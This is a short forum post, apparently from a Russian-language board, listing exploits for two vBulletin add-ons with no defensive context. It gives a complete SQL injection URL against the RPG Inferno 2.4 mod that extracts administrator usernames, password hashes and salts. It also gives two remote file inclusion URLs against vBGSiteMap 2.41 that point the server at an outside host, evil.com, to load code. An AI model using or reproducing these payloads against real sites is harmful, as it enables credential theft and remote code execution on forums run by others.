из новых модов не было

vBulletin Mod RPG Inferno 2.4 (inferno.php) SQL Injection Vulnerability
Exploit :
http://site.com/forum/inferno.php?do=ScanMember&id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,user(),database(),10,11,12,13,14,15, 16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(u sername,0x3a,password,0x3a,salt),31,@@version,33,3 4,35,36,37,38,39,40,41,42,43,44,45,46,47/**/from/**/user/**/where/**/usergroupid=6/**/limit/**/0,1/*


vBulletin vBGSiteMap 2.41 (root) Remote File Inclusion Vulnerabilities
Exploit :
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-config.php?base=http://evil.com?
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-vbseo.php?base=http://evil.com?

=======